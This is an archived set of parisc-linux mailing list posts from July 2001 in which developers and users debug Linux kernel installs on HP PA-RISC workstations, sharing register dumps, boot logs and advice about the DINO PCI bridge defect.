Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from simecity.com (unknown [202.188.254.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 119AB482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Jul 2001 19:02:49 -0600 (MDT)
Original-Received: (from mail@localhost)
	by simecity.com (8.9.3/8.8.7) id JAA27674
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Jul 2001 09:13:56 +0800
Original-Received: from <tltew@simecity.com> (linuxweb1.simecity.com [192.168.3.33]) by cirrus.simecity.com via smap (V2.1)
	id xma027672; Fri, 27 Jul 01 09:13:28 +0800
Original-Received: (qmail 3121 invoked from network); 27 Jul 2001 01:17:49 -0000
Original-Received: from unknown (HELO linuxweb1.simecity.com) (127.0.0.1)
  by 0 with SMTP; 27 Jul 2001 01:17:49 -0000
X-Sender: tltew@192.168.3.39
X-Mailer: WebMail v0.4.22 beta
X-Priority: 3
Xref: news.gmane.org gmane.linux.ports.parisc:11729

Hi,

  I'm posting as a totally newbie in parisc-linux arena. Any one has any
advice regarding setting up the kernel to the above machine? 

TL





From - Thu Nov 08 21:18:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roy Bryant <roybryant@SEVENtwentyfour.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Broken link in www.parisc-linux.org
Date: Fri, 27 Jul 2001 06:29:37 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <0A6866789C54D511B28300A0C99834D88DC1FB@MAIL724>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620336 22746 80.91.229.3 (22 Nov 2014 01:38:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:56 +0000 (UTC)
To: "'parisc-linux@parisc-linux.org'" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 27 04:28:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail724.SEVEN24 (mail.seventwentyfour.com [209.167.50.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id D1CE5482A
	for <parisc-linux@parisc-linux.org>; Fri, 27 Jul 2001 04:28:24 -0600 (MDT)
Original-Received: by MAIL724 with Internet Mail Service (5.5.2650.21)
	id <L09XLQTH>; Fri, 27 Jul 2001 06:29:38 -0400
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:11730

There appears to be a problem on this page of your site.

    On your page http://www.parisc-linux.org/weekly/20000310.html
    when you click on your link to http://www.parisc-linux.org/lists.html
    you get the error: Not found

As recommended by the Robot Guidelines, this email is to explain our robot's
activities and to let you know about one of the broken links we encountered.
LinkWalker does not store or publish the content of your pages, but rather
uses the link information to update our map of the World Wide Web.

Are these reports helpful? I'd love some feedback. If you prefer not to
receive these occasional error notices please let me know.

Roy Bryant

 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 Roy Bryant, roybryant@seventwentyfour.com
 President
 SEVENtwentyfour Inc. ("Always watching the Web")
 http://www.seventwentyfour.com
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 




From - Thu Nov 08 21:18:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 'Richard Hirst' <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/33 disk and kernel make dep problems
Date: Fri, 27 Jul 2001 14:26:01 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <20010727142601.L1252@linuxcare.com>
References: <99F41EF55D11D511818600D0B74749C496F42B@wchrntms01.uk.wmmercer.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620336 22751 80.91.229.3 (22 Nov 2014 01:38:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:56 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "Scammell, David" <David.Scammell@uk.wmmercer.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 27 07:24:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (ottawa.linuxcare.com [216.208.98.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id A14AD482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Jul 2001 07:24:19 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id A3F04B00C; Fri, 27 Jul 2001 14:26:01 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <99F41EF55D11D511818600D0B74749C496F42B@wchrntms01.uk.wmmercer.com>; from David.Scammell@uk.wmmercer.com on Wed, Jul 25, 2001 at 04:52:54PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:11731

On Wed, Jul 25, 2001 at 04:52:54PM +0100, Scammell, David wrote:
> Will try that tonight.
> 
> I managed to compile 2.4.6-pa21 out of cvs a few days ago,
> same problem. A new version of make came down from debian
> a few days ago which may of helped the make dep problems,
> however it still stops, the scsi problems may affect make
> dep possibly, even though i'm compling over nfs.
> 
> I've not had time to change the sync speed between crashes
> but i'll get there.
> 
> Sorry there is no oops yet, I'm using an X terminal with
> the serial line plugged in for the console.
> 
> BTW 2.4.6-pa21 does not appear to listen for console input,
> at least not during the interactive fsck phase following a
> crash, did that break recently?

There are some problems with console input atm.  Graphical console
k/b doesn't work on several machines, and when I tried a 2.4.6 based
installer the other day with serial console, the k/b was dead at
the start of stage two install (could have been the installer had
just crashed, of course).

I'll be trying to track down the serial console problem with the
installer next week.

Richard





From - Thu Nov 08 21:18:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Scammell, David" <David.Scammell@uk.wmmercer.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] 715/33 disk and kernel make dep problems
Date: Fri, 27 Jul 2001 16:04:18 +0100
Lines: 78
Approved: news@gmane.org
Message-ID: <99F41EF55D11D511818600D0B74749C496F43A@wchrntms01.uk.wmmercer.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620337 22752 80.91.229.3 (22 Nov 2014 01:38:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:57 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: 'Richard Hirst' <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 27 09:07:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailrx.uk.wmmercer.com (unknown [193.131.189.243])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9323C482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Jul 2001 09:07:19 -0600 (MDT)
Original-Received: from wlvpntec02.uk.wmmercer.com (unverified) by mailrx.uk.wmmercer.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac1902f3b355018a8d3c@mailrx.uk.wmmercer.com>;
 Fri, 27 Jul 2001 16:07:57 +0100
Original-Received: by WLVPNTEC02 with Internet Mail Service (5.5.2650.21)
	id <PXZ94Y3K>; Fri, 27 Jul 2001 16:06:45 +0100
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:11732


> -----Original Message-----
> From: 'Richard Hirst' [mailto:rhirst@linuxcare.com]
> Sent: 27 July 2001 14:26
> To: Scammell, David
> Cc: 'parisc-linux@lists.parisc-linux.org'
> Subject: Re: [parisc-linux] 715/33 disk and kernel make dep problems
> 
> 
> On Wed, Jul 25, 2001 at 04:52:54PM +0100, Scammell, David wrote:
> > Will try that tonight.
> > 
> > I managed to compile 2.4.6-pa21 out of cvs a few days ago,
> > same problem. A new version of make came down from debian
> > a few days ago which may of helped the make dep problems,
> > however it still stops, the scsi problems may affect make
> > dep possibly, even though i'm compling over nfs.
> > 
> > I've not had time to change the sync speed between crashes
> > but i'll get there.
> > 
> > Sorry there is no oops yet, I'm using an X terminal with
> > the serial line plugged in for the console.
> > 
> > BTW 2.4.6-pa21 does not appear to listen for console input,
> > at least not during the interactive fsck phase following a
> > crash, did that break recently?
> 
> There are some problems with console input atm.  Graphical console
> k/b doesn't work on several machines, and when I tried a 2.4.6 based
> installer the other day with serial console, the k/b was dead at
> the start of stage two install (could have been the installer had
> just crashed, of course).
> 
> I'll be trying to track down the serial console problem with the
> installer next week.
> 

The kernel command option you gave me, simxxxx, appeared to
work last night. Am I switching off disconnects, I've not 
looked at the source?

However it occured to me this morning that
serial console input worked last night at run level 2, using 
the same kernel as above, I never noticed as I typed using it. 

Graphical console has never worked for me over the last two
weeks since getting installed (even with a getty attached to 
tty0 :), keyboard has always appeared dead.

Still having make dep problems, I may investigate which version of make
i'm using this weekend.

The 715/33 is surprisingly spritely with 48MB of ram, not bad for oldie.

regards
Dave

> Richard
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 


*************************** IMPORTANT NOTE **************************
The above information is confidential to the addressee and may be
privileged.  Unauthorised access and use is prohibited.  William M.
Mercer Limited is regulated by IMRO and the Personal Investment
Authority. Registered in London No. 984275 Registered Office: Telford
House, 14 Tothill Street, London SW1H 9NB




From - Thu Nov 08 21:18:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb+hplinux@zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/100 0.9.1.iso
Date: Fri, 27 Jul 2001 20:11:57 +0200 (CEST)
Lines: 37
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.30.0107272003070.822-100000@noc.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620337 22754 80.91.229.3 (22 Nov 2014 01:38:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:57 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 27 12:12:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zabbadoz.net (mail.zabbadoz.net [195.2.176.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B3B1482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Jul 2001 12:11:59 -0600 (MDT)
Original-Received: from localhost (bz@localhost)
	by mail.zabbadoz.net (8.11.0/8.11.0) with ESMTP id f6RIBvd57081
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Jul 2001 20:11:57 +0200 (CEST)
X-Sender: <bz@noc.zabbadoz.net>
Xref: news.gmane.org gmane.linux.ports.parisc:11733

Hi,

also had an 0.9.1 iso (from ESIEE ) around an tried that.
Doesn't boot either (when booting from cdrom).

If anybody needs further information please let me know.

Would it make any difference if I also try 0.9-32serial ?

--- snipp ---
Kernel Fault: Code=15 regs=102924c0 (Addr=00304008)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001110
r0-3     00000000 10337010 10102614 00304000
r4-7     003058d8 10256000 00000000 f0002848
r8-11    0000000d f0305698 00000030 00310000
r12-15   f0002840 00000000 00000000 f0305710
r16-19   10292080 00283bab 00000002 00000000
r20-23   00000000 f0105800 01c9c380 00000060
r24-27   00000001 00000001 1029f3c0 1028a010
r28-31   0000002a 00000000 10292700 00000000
sr0-3    00000000 00000000 00000000 00000000
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10102574 10102578
 IIR: 0c701093    ISR: 00000000  IOR: 00304008
 ORIG_R28: 00000000
--- snipp ---

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/





From - Thu Nov 08 21:18:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000 D Class Enterprise server
Date: Fri, 27 Jul 2001 19:24:44 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <200107280124.TAA30621@puffin.external.hp.com>
References: <tltew@simecity.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620337 22756 80.91.229.3 (22 Nov 2014 01:38:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tew Tee Li <tltew@simecity.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 27 19:26:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F3E9482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Jul 2001 19:26:00 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id TAA30621;
	Fri, 27 Jul 2001 19:24:44 -0600
In-Reply-To: Message from Tew Tee Li <tltew@simecity.com> 
   of "Fri, 27 Jul 2001 09:17:46 +0800." <YsOsfHZbqNSU3kpeNCqLMvF4HIc@simecity.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11734

Tew Tee Li wrote:
>   I'm posting as a totally newbie in parisc-linux arena. Any one has any
> advice regarding setting up the kernel to the above machine? 

Depending on the model D-class, follow the discussion about
C180 and C200. The IO arch in both uses the same chip sets.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Reinhard Gimbel <Reinhard.Gimbel@freenet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C180 DINO/PCI problem; was: Help on install (2)
Date: Sat, 28 Jul 2001 12:35:20 +0200
Lines: 73
Approved: news@gmane.org
Message-ID: <01072812322001.00935@octopus>
References: <200107261836.MAA19533@puffin.external.hp.com>
Reply-To: Reinhard.Gimbel@freenet.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620338 22757 80.91.229.3 (22 Nov 2014 01:38:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, rbradetich@uswest.net
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 28 04:36:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mout0.freenet.de (mout0.freenet.de [194.97.50.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id A764D482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 28 Jul 2001 04:36:21 -0600 (MDT)
Original-Received: from [194.97.50.144] (helo=mx1.freenet.de)
	by mout0.freenet.de with esmtp (Exim 3.30 #3)
	id 15QRSD-0005kC-00; Sat, 28 Jul 2001 12:36:17 +0200
Original-Received: from b182c.pppool.de ([213.7.24.44] helo=octopus)
	by mx1.freenet.de with smtp (Exim 3.30 #3)
	id 15QRSC-00068D-01; Sat, 28 Jul 2001 12:36:17 +0200
X-Mailer: KMail [version 1.2]
In-Reply-To: <200107261836.MAA19533@puffin.external.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11735

Grant Grundler wrote:

> Reinhard Gimbel wrote:
> > My expirence is that the DINO I/O chip seems to be the key
> > element for that problem. Version 1.x of this chip crashes
> > the system like you describe it (crash during boot ... :-(
> > )
>
> You have Dino 1.x ? I didn't think HP ever shipped those to
> customers. Or did you mean another chip?
> Perhaps post the console log output?

A friend of mine has a C180 with DINO v1.x (according to the
boot messages of that box; I do not have a log of that box on 
hand at present).

The boot messages of my box (as posted in parisc-linux digest 
vol. 1 #204) looks like this:

[...]

Dino version 2.1 (bridge mode) found at 0xf2000000


The GSCtoPCI (Dino hrev 1) bus converter found may exhibit
data corruption. See Service Note Numbers: A4190A-01, A4191A-01.
Systems shipped after Aug 20, 1997 will not exhibit this problem.
Models affected: C180, C160, C160L, B160L, and B132L workstations.

dino_bridge_init: IO_ADDR_EN hasn't been configured.
kernel BUG at dino.c:808!

[...]

  YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111100100001110
r0-3   00000000 102b2810 101c97cc 1f7a3a00
r4-7   1f7a3a28 00000006 00000000 00000000
r8-11  1f7a2000 000000ff 1fe02a74 00000200
r12-15  102b2810 00000001 00000400 1f584688
r16-19  1f584588 00000000 00000000 dae998dc
r20-23  00000008 1e1fc500 00000000 0000000f
r24-27  00000000 00000006 1f7a2000 1028a010
r28-31  00000000 00000400 1f584dc0 101bd938
sr0-3  00000000 000000b5 00000000 000000b5
sr4-7  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 101d3004 101d3008
IIR: 0e641288  ISR: 00000000 IOR: dae998e0
ORIG_R28: 1073e740

[...]


> > My
> > DINO version (2.1) allows at least boot the system but the
> > system crashes when I try to do the next steps within the
> > installation procedure.
>
> On C180 that's most likely the problem with ccio driver.
> That's a known bug(s?)  that ryan bradetich hasn't been able
> to solve yet. If you can help ryan, mail him.

Ryan, what further information do you need ? Up to now I tried 
to use the palinux-0.9.2 image of esiee.fr only. No kernel 
(cross-) compilations for parisc-linux on my Intel Linux box so 
far. No expirence with palo etc. What can I do to help to solve 
the problem ?

Reinhard.




From - Thu Nov 08 21:18:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Reinhard Gimbel <Reinhard.Gimbel@freenet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C180 DINO/PCI problem; was: Help on install (1)
Date: Sat, 28 Jul 2001 12:34:46 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <01072812114300.00935@octopus>
References: <200107261842.MAA19577@puffin.external.hp.com>
Reply-To: Reinhard.Gimbel@freenet.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620338 22759 80.91.229.3 (22 Nov 2014 01:38:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>,
	Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 28 04:36:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mout1.freenet.de (mout1.freenet.de [194.97.50.132])
	by dsl2.external.hp.com (Postfix) with ESMTP id D192D482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 28 Jul 2001 04:36:39 -0600 (MDT)
Original-Received: from [194.97.50.144] (helo=mx1.freenet.de)
	by mout1.freenet.de with esmtp (Exim 3.30 #3)
	id 15QRSC-0000ZX-00; Sat, 28 Jul 2001 12:36:16 +0200
Original-Received: from b182c.pppool.de ([213.7.24.44] helo=octopus)
	by mx1.freenet.de with smtp (Exim 3.30 #3)
	id 15QRSC-00068D-00; Sat, 28 Jul 2001 12:36:16 +0200
X-Mailer: KMail [version 1.2]
In-Reply-To: <200107261842.MAA19577@puffin.external.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11736

Grant Grundler wrote:

> Matthew Wilcox wrote:
> > ** "HP has discovered a potential system defect that can affect
> > ** the behavior of five models of HP VISUALIZE workstations when
> > ** equipped with third-party or customer-installed PCI I/O expansion
> > ** cards. The defect is limited to the HP C180, C160, C160L, B160L,
> > ** and B132L VISUALIZE workstations, and will only be encountered
> > ** when data is transmitted through PCI I/O expansion cards on the
> > ** PCI bus. HP-supplied graphics cards that utilize the PCI bus are
> > ** not affected."

Expect the GRAPHICS(3) graphics adaptor (which is an EISA card)
there is no expansion card installed in my C180. The 2 PCI slots
are not occupied by expansion cards.

I don't have too much knowledge of the architecture of HP
workstations, but aren't NCR SCSI chips part of the PCI
architecture in ordinary PCs ? Of course there must not be the
same way to implement the SCSI chip in the HP architecture ! But
who knowns ...

On the other hand the C180 had a working HP-UX 10.20 as I bought
it weeks ago. So there must be a software solution for the DINO
problem.

> > Maybe we're triggering this bug... grant?
>
> Perhaps...updating the firmware to the latest will not let
> the system boot if in fact that's the case. remove all PCI
> devices and then the system will boot.

No PCI device to remove (as an expansion card) ...

... but how about a firmware update ? My box has firmware
version 2.7. Is that o.k. so far ? Or is there a newer firmware
available ? The other questions is: Would a firmware upgrade
help to solve my problem ?

Reinhard.




From - Thu Nov 08 21:18:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb+hplinux@zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 0.9-32serial works :) [was: 715/100 0.9.1.iso]
Date: Sat, 28 Jul 2001 14:56:46 +0200 (CEST)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.30.0107281453300.822-100000@noc.zabbadoz.net>
References: <Pine.BSF.4.30.0107272003070.822-100000@noc.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620338 22762 80.91.229.3 (22 Nov 2014 01:38:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:58 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 28 06:56:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zabbadoz.net (mail.zabbadoz.net [195.2.176.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A0E1482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 28 Jul 2001 06:56:48 -0600 (MDT)
Original-Received: from localhost (bz@localhost)
	by mail.zabbadoz.net (8.11.0/8.11.0) with ESMTP id f6SCukQ89350
	for <parisc-linux@lists.parisc-linux.org>; Sat, 28 Jul 2001 14:56:47 +0200 (CEST)
X-Sender: <bz@noc.zabbadoz.net>
In-Reply-To: <Pine.BSF.4.30.0107272003070.822-100000@noc.zabbadoz.net>
Xref: news.gmane.org gmane.linux.ports.parisc:11737

On Fri, 27 Jul 2001, Bjoern A. Zeeb wrote:

> Hi,
>
> also had an 0.9.1 iso (from ESIEE ) around an tried that.
> Doesn't boot either (when booting from cdrom).
>
> If anybody needs further information please let me know.
>
> Would it make any difference if I also try 0.9-32serial ?


Sorry for answering my own mail:

0.9-32serial successfully installed :)

so the problem is somewhere in the changes from 0.9 to 0.9.1/0.9.2

hope that helps you. as always - if you need any further details
please let me know.

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/





From - Thu Nov 08 21:18:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Scott Ashcroft <scott.ashcroft@talk21.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Tracking down crash in 2.4.6 kernels on B160L
Date: Sat, 28 Jul 2001 15:38:23 +0100
Lines: 326
Approved: news@gmane.org
Message-ID: <3B62CE5F.31181B7A@talk21.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620338 22763 80.91.229.3 (22 Nov 2014 01:38:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 28 08:38:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta07-svc.ntlworld.com (mta07-svc.ntlworld.com [62.253.162.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id 20F98482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 28 Jul 2001 08:38:26 -0600 (MDT)
Original-Received: from homer.intra.qzxyz.com ([213.104.66.118])
          by mta07-svc.ntlworld.com (InterMail vM.4.01.03.00 201-229-121)
          with ESMTP
          id <20010728143824.KZXM710.mta07-svc.ntlworld.com@homer.intra.qzxyz.com>
          for <parisc-linux@lists.parisc-linux.org>;
          Sat, 28 Jul 2001 15:38:24 +0100
Original-Received: from edna.intra.qzxyz.com ([192.168.42.126] helo=talk21.com)
	by homer.intra.qzxyz.com with esmtp (Exim 3.12 #1 (Debian))
	id 15QVEW-0001oy-00
	for <parisc-linux@lists.parisc-linux.org>; Sat, 28 Jul 2001 15:38:24 +0100
Original-Sender: ashcroft@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.7 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11738

I've rebuilt a kernel with EARLY_BOOTUP_DEBUG defined in
linux/arch/parisc/kernel/pdc_console.c so I get some console output
before the crash.

The boot log looks like:

Firmware Version  4.7

Duplex Console IO Dependent Code (IODC) revision 1

Memory Test/Initialization Completed

------------------------------------------------------------------------------
   (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           Coprocessor State  Cache
Size
  ---------  --------   ---------------------  ----------------- 
----------
      0      160 MHz    Active                 Functional          64 KB


  Available memory (bytes)    :  134217728
  Good memory required (bytes):  134217728

  Primary boot path:    SESCSI.6.0
  Alternate boot path:  SESCSI.6.0
  Console path:         SERIAL_1.9600.8.none
  Keyboard path:        PS2

Processor is booting from first available device.

To discontinue, press any key within 10 seconds.

Booting...
Boot IO Dependent Code (IODC) revision 153

HARD Booted.
palo ipl 0.93 bame@palinux Wed Jul 11 11:08:57 MDT 2001
0/vmlinux32 2622963 bytes @ 0x8210000
Partition Start(MB) End(MB) Id Type
1               1     129   82 swap
2             130     139   f0 Palo
3             140    2046   83 ext2

Command line: 'root=/dev/sda3 HOME=/ TERM=linux console=ttyS0 debug'

Kernel: partition 3 file /vmlinux
ext2 block size 4096
ext2_mount(partition 3) returns 0
ext2_open(/vmlinux) = 3
ELF32 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 1500308 mediaptr 0x1000
Segment 1 load 00270000 size 368640 mediaptr 0x170000
Segment 2 load 0030e74c size 75984 mediaptr 0x1ca74c
branching to kernel entry point 0x00100000
Linux version 2.4.6-pa22 (root@nelson) (gcc version 3.0 (Debian)) #5 Sat
Jul 28 14:40:32 BST 2001
FP[0] enabled: Rev 1 Model 15
The 32-bit Kernel has started...
Initialized PDC Console for debugging.
Determining PDC firmware type: Newer Box
model   00005020 00000481 00000000 02020202 7747d770 100000f0 00000004
000000ba 000000ba
vers    00000008
cpuid   000001e8
CPUID   vers 15 rev 8
model   9000/778/B160L
Total Memory: 128 Mb
On node 0 totalpages: 32768
zone(0): 32768 pages.
zone(1): 0 pages.
zone(2): 0 pages.
PDC reported no LCD or LED.
Searching for devices...
Found devices:
1. Phantom PseudoBC GSC+ Port (7) at 0xffc00000, versions 0x504, 0x0,
0x0, 0x0, 0x0<6>
2. Merlin L2 160 (9000/778/B160L) (0) at 0xfffbe000, versions 0x502,
0x0, 0x4, 0x0, 0x81<6>
